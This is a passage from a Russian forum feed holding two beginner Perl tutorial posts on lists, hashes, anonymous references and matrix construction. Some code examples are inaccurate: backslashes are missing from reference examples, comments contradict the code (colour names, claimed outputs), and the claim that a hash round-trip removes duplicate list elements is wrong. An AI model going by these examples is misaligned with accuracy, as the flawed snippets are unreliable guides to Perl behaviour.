Это из-за гибкости синтаксиса языка. Думаю, на этот раз все случаи тоже описать не удастся. Слишком уж много вариантов.<br>
<ul class="tag-list"><li>Ссылки на безымянные списки<br>
	</li><li>Простые махинации со списками<br>
	</li><li>Ссылки на безымянные хэш-массивы и махинации со списками</li></ul><br>
<em class='tag-i'>Ссылки на безымянные списки и на хэш-массивы</em><br>
<br>
* Массивом буду называть ссылку на список<br>
<br>
В прошлой статье я так и не объяснил как создать подобие матрицы.<br>
Исправляюсь. Матрица  3 x 4:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@matrix=(</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;(1, 2, 3, 4),</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;(&#39;a&#39;..&#39;d&#39;),</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;(5..8)</div><div class="code_line">&nbsp;&nbsp; &nbsp;);</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;# Получаем всю третью строчку:</div><div class="code_line">&nbsp;&nbsp; &nbsp;$row3=$matrix[2];</div><div class="code_line">&nbsp;&nbsp; &nbsp;# или $row3=$matrix[-1];</div><div class="code_line">&nbsp;&nbsp; &nbsp;# в $row3 записано (5..8)</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;# Получаем всю вторую строчку:</div><div class="code_line">&nbsp;&nbsp; &nbsp;$row2=$matrix[1];</div><div class="code_line">&nbsp;&nbsp; &nbsp;# или $row3=$matrix[-2];</div><div class="code_line">&nbsp;&nbsp; &nbsp;# в $row2 записано (&#39;a&#39;..&#39;d&#39;)</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;# Получаем всю первую строчку:</div><div class="code_line">&nbsp;&nbsp; &nbsp;$row1=$matrix[0];</div><div class="code_line">&nbsp;&nbsp; &nbsp;# или $row3=$matrix[-3];</div><div class="code_line">&nbsp;&nbsp; &nbsp;# в $row1 записано (1, 2, 3, 4)</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;# Всё прекрасно получается.</div><div class="code_line">&nbsp;&nbsp; &nbsp;# Проверка:</div><div class="code_line">&nbsp;&nbsp; &nbsp;print $row1, &#39;, &#39;, $row2, &#39;, &#39;, $row3, &quot;\n&quot;;</div><div class="code_line">&nbsp;&nbsp; &nbsp;# На перёд, print - функция вывода.</div><div class="code_line">&nbsp;&nbsp; &nbsp;# Получает список аргументов и распечатывает их содержимое в</div><div class="code_line">&nbsp;&nbsp; &nbsp;# стандартный поток вывода (но не только, объясню в статье &quot;Ввод\Вывод&quot;)</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;# Итак, вывод:</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;1, 2, 3</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;# Всё прекрасно получается.</div></ol></div></div></div></div><br>
<br>
<em class='tag-i'>Простые махинации со списками</em><br>
Напоминаю: спискив Perl состоят из скаляров и только из скаляров. Сейчас попробую объяснить почему.<br>
<br>
* Конкатенация списков - объединение. Из множества элементов списков создаётся новый список, содержащий все элементы объединённых списков с повторами.<br>
<br>
Примеры объединения списков:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var1=(1..4);</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var2=(&#39;k&#39;..&#39;n&#39;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var3=(@var1, @var2);</div><div class="code_line">&nbsp;&nbsp; &nbsp;# или</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var3=((1..4), (&#39;k&#39;..&#39;n&#39;));</div><div class="code_line">&nbsp;&nbsp; &nbsp;# или</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var3=(1..4, &#39;k&#39;..&#39;n&#39;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;# теперь в @var3 находится (1, 2, 3, 4, &#39;k&#39;, &#39;l&#39;, &#39;m&#39;, &#39;n&#39;)</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var4=(((((((1)))))),(2));</div><div class="code_line">&nbsp;&nbsp; &nbsp;# @var4=(1, 2);</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var5=@var1, @var2;</div><div class="code_line">&nbsp;&nbsp; &nbsp;# @var5=1..4;</div></ol></div></div></div></div><br>
<br>
Объединение списков со списками равносильно созданию нового списка из скалярных элементов списков.<br>
<br>
Примеры объединения списков и скаляров:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;$var1=1;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var1=(&#39;1&#39;..&#39;4&#39;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var2=(@var1, $var1);</div><div class="code_line">&nbsp;&nbsp; &nbsp;# @var2=(&#39;1&#39;, &#39;2&#39;, &#39;3&#39;, &#39;4&#39;, 1);</div><div class="code_line">&nbsp;&nbsp; &nbsp;($var1, $var2, $var3)=(1, 2, 3);</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var3=($var2, $var3, @var2, $var1);</div><div class="code_line">&nbsp;&nbsp; &nbsp;# @var3=(2, 3, &#39;1&#39;, &#39;2&#39;, &#39;3&#39;, &#39;4&#39;, 1, 1);</div></ol></div></div></div></div><br>
<br>
Теперь, думаю, понятно, почему сразу не получилось создать матрицу. Вместо матрицы получился список с  3*4=12 элементами.<br>
<br>
И ещё одна особенность, уже из темы &quot;Контекст&quot;<br>
<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;($a, $b, @var)=(1..4);</div><div class="code_line">&nbsp;&nbsp; &nbsp;# $a=1; $b=2; @var=(3, 4);</div><div class="code_line">&nbsp;&nbsp; &nbsp;(@a, $b, @c)=(4..8);</div><div class="code_line">&nbsp;&nbsp; &nbsp;# @a=(4, 5, 6, 7, 8); $b=undef; @c=();</div><div class="code_line">&nbsp;&nbsp; &nbsp;($a, $b, %c)=(1, 2, key1=&#62;&#39;a&#39;, key2=&#62;&#39;b&#39;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;# $a=1; $b=2; %c=(key1=&#62;&#39;a&#39;, key2=&#62;&#39;b&#39;);</div></ol></div></div></div></div><br>
<br>
Создаём матрицу:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;$row1=\(1..4);</div><div class="code_line">&nbsp;&nbsp; &nbsp;$row2=\(&#39;1&#39;..&#39;4&#39;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;$row3=\(&#39;a&#39;..&#39;d&#39;);</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@matrix=(</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;$row1,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;$row2,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;$row3</div><div class="code_line">&nbsp;&nbsp; &nbsp;);</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;# Создали промежуточные бесполезные переменные $row1, $row2, $row3</div><div class="code_line">&nbsp;&nbsp; &nbsp;# Можно записать ещё так:</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@matrix=(</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;\(1..4),</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;\(&#39;1&#39;..&#39;4&#39;),</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;\(&#39;a&#39;..&#39;d&#39;)</div><div class="code_line">&nbsp;&nbsp; &nbsp;);</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;# А можно ещё короче:</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@matrix=(</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;[1..4],</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;[&#39;1&#39;..&#39;4&#39;],</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;[&#39;a&#39;..&#39;d&#39;]</div><div class="code_line">&nbsp;&nbsp; &nbsp;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;$array_ref=[1..4];</div><div class="code_line">&nbsp;&nbsp; &nbsp;# ссылка на список (1, 2, 3, 4)</div><div class="code_line">&nbsp;&nbsp; &nbsp;# список @matrix состоит только из скаляров, однако содержит скалярные же ссылки на другие списки.</div></ol></div></div></div></div><br>
<br>
Список в квадратных скобках - это ссылка на список.<br>
Как получить доступ к элементам матрицы скажу позже.<br>
<br>
<em class='tag-i'>Ссылка на безымянный хэш-массив</em><br>
<br>
Сначала, о преобразовании списков в хэш-массивы и обратно.<br>
<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var1=(</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;key1=&#62;&#39;val1&#39;,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;key2=&#62;&#39;val2&#39;,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;key3=&#62;&#39;val3&#39;</div><div class="code_line">&nbsp;&nbsp; &nbsp;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;%var1=@var1;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var1=%var1;</div></ol></div></div></div></div><br>
<br>
У меня получилось, что в @var1 теперь содержится<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var1=(key1, &#39;val1&#39;, key2, &#39;val2&#39;, key3, &#39;val3&#39;)</div></ol></div></div></div></div><br>
На такое везение полагаться вовсе не стоит, т.к. в хэш-массивах данные хранятся не в прямом а в некотором &quot;оптимальном&quot; для оперирования порядке. Важно, что при прямом и обратном преобразовании сохраняются все элементы списка. С помощью преобразования в хэш-массив и обратно можно избавляться от одинаковых элементов в списке, т.к. ключи у хэш-массивов не могут быть одинаковыми.<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var=(&#39;a&#39;, &#39;b&#39;, &#39;a&#39;, 2, &#39;c&#39;, &#39;c&#39;, &#39;d&#39;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;%var=@var;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var=%var;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;# теперь в @var содержится что-то вроде (&#39;a&#39;, &#39;2&#39;, &#39;c&#39;, &#39;c&#39;, &#39;d&#39;, undef), но не именно в том самом порядке, элементы в хэш-массиве хранятся в любом &quot;удобном&quot; для оперирования порядке!</div></ol></div></div></div></div><br>
<br>
Теперь уже традициионное, создание двухмерной матрицы из хэш-массивов:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;$row1=\(1=&#62;&#39;a&#39;, &#39;a&#39;=&#62;1);</div><div class="code_line">&nbsp;&nbsp; &nbsp;# для задания ссылки на строку-хэш-массив используется соответствующий стиль.</div><div class="code_line">&nbsp;&nbsp; &nbsp;# однако, это ещё одни на первых порах часто встречающиеся грабли. На самом деле,</div><div class="code_line">&nbsp;&nbsp; &nbsp;# $row1 теперь содержит ссылку на список.</div><div class="code_line">&nbsp;&nbsp; &nbsp;# Вот как можно сделать:</div><div class="code_line">&nbsp;&nbsp; &nbsp;%row1=(1=&#62;&#39;a&#39;, &#39;a&#39;, 1);</div><div class="code_line">&nbsp;&nbsp; &nbsp;# стиль задания элементов списка или хэш-массива вообще ни на что кроме читабельности не влияет. В обоих случаях можно беспорядочно использовать оба варианта (&quot;,&quot; или &quot;=&#62;&quot;).</div><div class="code_line">&nbsp;&nbsp; &nbsp;$row1=\%row1;</div><div class="code_line">&nbsp;&nbsp; &nbsp;%row2=(2, &#39;b&#39;, &#39;b&#39;, 2);</div><div class="code_line">&nbsp;&nbsp; &nbsp;%matrix=(</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;row1=&#62;$row1,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;row2=&#62;\%row2,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# а можно так:</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;row3=&#62;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;3=&#62;&#39;c&#39;,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4=&#62;&#39;d&#39;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp;);</div></ol></div></div></div></div><br>
<br>
Список в фигурных скобках - это ссылка на хэш-массив.<br>
Как получить доступ к элементам матрицы скажу позже.<br>
<br>
<hr><br>
<br>
Это не было трудно, но из таких простых элементов строятся любые струтуры.<br>
Чуть-чуть ещё.]]></description>
        <author>Tishaishii</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=442481</guid>
        <pubDate>Thu, 26 Aug 2004 20:48:55 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=442481</link>
        <description><![CDATA[Tishaishii: Слущай, какой базар, аах какой базар, слющай.<br>
<hr><br>
<br>
<strong class='tag-b'>Учимся читать и писать</strong><br>
В конце-то концов, перейдём к делу, так же до сути не добраться.<br>
Perl - совсем не типизированный язык. Это значит, что символы, строки, цифры, числа, массивы и д.р. привычные структуры могут обрабатываться единообразно без каких-то ограничений. Perl расчитан на управление не отдельными типами данных, а их структурами.<br>
<br>
<strong class='tag-b'><em class='tag-i'>Структуры данных в Perl</em></strong><ul class="tag-list"><li> (&#036;SCALAR) скаляры<br>
	</li><li> (@ARRAY) списки скаляров<br>
	</li><li> (%HASH) хэш-массивы<br>
	</li><li> (*GLOB) указатели из таблицы символов</li></ul><br>
Тип структуры указывает префикс в названии переменной (&#036;, @, % или *).<br>
Имена переменных в Perl указываются несколькими способами:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">$var, $&#39;var, *::var, %main&#39;var, @one::two&#39;var</div></ol></div></div></div></div><br>
Перед резделителями &quot;&#39;&quot; и &quot;::&quot; указывают имя пакета, в котором находится переменная. Разделитель &quot;&#39;&quot; считается устаревшим.<br>
<ul class="tag-list"><li> Имена пакетов и переменных могут содержать латинские буквы, цифры, и символ &quot;_&quot;.<br>
	</li><li> Если перед разделителем не указано имя пакета, по-умолчанию принимается пакет &quot;main&quot; - пакет основной программы. Имя пакета &quot;main&quot; принято не указывать.<br>
	</li><li> Если не указано имя переменной - осуществляется досутп к таблице символов указанного пакета. Об этом позже.</li></ul><br>
В Perl несколько переменных могут иметь одинаковые имена и находится в одном пакете если у них разные типы структур.<br>
Если последовательно инициализировать:<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;%::a=(a=&#62;&#39;b&#39;, c=&#62;&#39;e&#39;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;$::a=&quot;abcdefg&quot;;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@::a=(&#39;aA&#39;, &#39;bB&#39;, &#39;cC&#39;);</div></ol></div></div></div></div>то образуется три разных переменных в пакете &quot;main&quot; с именем &quot;a&quot;, которые находятся в разных областях памяти.<br>
<br>
<em class='tag-i'>Скаляры</em><br>
Скаляр - строка, цифра, число, отдельный символ, указатель на структуру.<br>
Например, представление скаляра с содержимым &quot;-1024&quot;:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;$uy&#39;_0=1024.0;</div><div class="code_line">&nbsp;&nbsp; &nbsp;$scalar::_1=-1_02_4;</div><div class="code_line">&nbsp;&nbsp; &nbsp;$::i&#39;go&#39;go::_2=-1e+1.24;</div><div class="code_line">&nbsp;&nbsp; &nbsp;$oogo_3=&quot;-0x400&quot;;</div><div class="code_line">&nbsp;&nbsp; &nbsp;$scalar&#39;_4=&#39;-1024&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp;$____&#39;_5=&#39;Одна тысяча двадцать четыре&#39;;</div></ol></div></div></div></div><br>
<br>
Скаляр так же может содержать ссылку на именованный или безымянный объект (возможно тоже ссылку).<br>
Чтобы создать ссылку на структуру (объект) нужно поставить перед его указанием символ &quot;&#092;&quot;.<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;$var=; #ссылка на безымянный объект</div><div class="code_line">&nbsp;&nbsp; &nbsp;$var=\\&quot;1&quot;; #ссылка на ссылку на ссылку на безымянный объект</div><div class="code_line">&nbsp;&nbsp; &nbsp;$a=1; $var=$a; #ссылка на именованый объект</div></ol></div></div></div></div><br>
<br>
<em class='tag-i'>Списки скаляров</em><br>
В языке реализованы только списки скаляров, чего вполне достаточно для создания любых сложных структур. Список усложняется за счёт скалярных ссылок на другие структуры.<br>
<br>
Примеры списков:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var=(1, 2, 3);</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var=(1 .. 3, 5 .. 9);</div><div class="code_line">&nbsp;&nbsp; &nbsp;($a, $b, $c)=(1, 2, 3); ($a, $b, $c)=@var;</div><div class="code_line">&nbsp;&nbsp; &nbsp;($a, $b, $c)=($c, $a, $b);</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var=(&#39;d&#39;..&#39;t&#39;, &#39;Z&#39;, 1 ,&#39;A&#39;..&#39;Z&#39;);</div></ol></div></div></div></div><br>
<br>
Если вместо префикса &quot;@&quot; в имени списка указано &quot;&#036;#&quot;, то возвращается число=длина_массива - 1, что удобно для указания последнего элемента массива по индексу. Можно получить доступ к элементу (скаляру) списка по индексу так:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var=1; # @var=(1);</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var=1..3; # @var=(1, 2, 3)</div><div class="code_line">&nbsp;&nbsp; &nbsp;$var[1]=10; # Теперь @var=(1, 10, 3);</div><div class="code_line">&nbsp;&nbsp; &nbsp;# Если</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var=1..3;</div><div class="code_line">&nbsp;&nbsp; &nbsp;$var[-1]=10; # или</div><div class="code_line">&nbsp;&nbsp; &nbsp;$var[ 2]=10; # или</div><div class="code_line">&nbsp;&nbsp; &nbsp;$var[$#var]=10; # теперь @var=(1, 2, 10)</div></ol></div></div></div></div><br>
Или получить часть массива по индексам:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var=1..10;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var1=(8, 7, 1..4);</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var[@var1] = @var[5..$#var, 1];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# @var=(1, 8, 9, 10, 2, 6, 7, 7, 6, 10)</div><div class="code_line">&nbsp;&nbsp; &nbsp;#или безымянный массив</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var=(&#39;a&#39;..&#39;z&#39;)[4, 2, 10..15, 0, 1, -1, -12];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# @var=(&#39;e&#39;, &#39;c&#39;, &#39;k&#39;, &#39;l&#39;, &#39;m&#39;, &#39;n&#39;, &#39;o&#39;, &#39;p&#39;, &#39;a&#39;, &#39;b&#39;, &#39;z&#39;, &#39;o&#39;)</div></ol></div></div></div></div><br>
Так же при содании ссылок:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;$var=$var[-5]; #ссылка на элемент списка $var[$#var+1-5]</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# ! образуется 2 переменных $var-скалярная и остаётся @var-списочная.</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var2=\(@var1); # создаётся список @var2 с элементами-ссылками на соответствующие элементы списка @var1</div><div class="code_line">&nbsp;&nbsp; &nbsp;$var=\@var; # создаётся скаляр $var со ссылкой на массив @var</div><div class="code_line">&nbsp;&nbsp; &nbsp;$var=\(1..4); # ! тоже создаётся ссылка, но на безымянный массив</div></ol></div></div></div></div><br>
<br>
Длину списка можно измерить так:<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;$len=$#var+1; # это уже знаем</div><div class="code_line">&nbsp;&nbsp; &nbsp;$len=@var; # здесь затрагивается тема про контексты, и про это тоже позже.</div><div class="code_line">&nbsp;&nbsp; &nbsp;# Список в скалярном контексте возвращает свою длину - число</div></ol></div></div></div></div><br>
<br>
<em class='tag-i'>Хэш-массивы:</em><br>
<br>
В Perl хэш-массив - это список, состоящий из двух частей: ключ и соответствующее ему значение.<br>
Пример:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">%var=(</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;key1=&#62;&#39;val1&#39;,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# если ключ состоит только из цифр, латинских букв и символов &quot;_&quot;,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# кавычки в названии можно не указывать</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&#39;key2&#39;=&#62;$val2,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;key3, &quot;val3&quot;</div><div class="code_line">);</div></ol></div></div></div></div><br>
<br>
Получить элемент хэш-массива по ключу:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;%var=(&#39;blue&#39;, &#39;Чёрный&#39;, &#39;red&#39;, &#39;Красный&#39;, &#39;green&#39;, &#39;Зелёный&#39;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;$blue=$var{blue};</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# создаётся переменная-скаляр &quot;blue&quot; со значением &quot;Синий&quot;</div><div class="code_line">&nbsp;&nbsp; &nbsp;$redref=$var{red};</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# создаётся переменная-ссылка &quot;redref&quot; на содержимое &quot;Красный&quot;</div></ol></div></div></div></div><br>
<br>
Получить часть хэш-массива по ключам:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;%var=(&#39;blue&#39;=&#62;&#39;Чёрный&#39;, &#39;red&#39;=&#62;&#39;Красный&#39;, &#39;green&#39;=&#62;&#39;Зелёный&#39;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;@rgb=@var{&#39;red&#39;, &#39;green&#39;, &#39;blue&#39;};</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# создаётся переменная-список @black</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# со значением (&#39;Красный&#39;, &#39;Зелёный&#39;, &#39;Синий&#39;)</div><div class="code_line">&nbsp;&nbsp; &nbsp;@rgbnames=(&#39;red&#39;, &#39;green&#39;, &#39;blue&#39;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;@rgbref=\(@var{@rgbnames});</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# создаётся переменная-список ссылок $rgbref</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# на безымянный массив на значения под ключами @rgbnames</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# хэш-массива %var</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# типа: @rgbref=(\&#39;Красный&#39;, \&#39;Зелёный&#39;, \&#39;Синий&#39;)</div></ol></div></div></div></div><br>
<br>
Списки преобразовываются в хэш-массивы и обратно:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var=(&#39;black&#39;, &#39;Чёрный&#39;, &#39;red&#39;, &#39;Красный&#39;, &#39;green&#39;, &#39;Зелёный&#39;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;%var=@var;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# образуется хэш-массив типа:</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# %var=(</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; black=&#62;&#39;Чёрный&#39;,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; red=&#62;&#39;Красный&#39;,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; green=&#62;&#39;Зелёный&#39;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# );</div><div class="code_line">&nbsp;&nbsp; &nbsp;@var=%var;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# получается исходный список</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;# @var=(&#39;black&#39;, &#39;Чёрный&#39;, &#39;red&#39;, &#39;Красный&#39;, &#39;green&#39;, &#39;Зелёный&#39;);</div></ol></div></div></div></div><br>
<br>
<em class='tag-i'>Указатели из таблицы символов переменных</em><br>
Непосредственно с таблицей символов Perl часто работать, думаю, не придётся. Эта таблица хранит имена переменных и необходимую для управления ими информацию (тип, адрес в памяти, счётчик ссылок, и т.д.). Если в таблице символов нет записи о переменной - она не существует.<br>
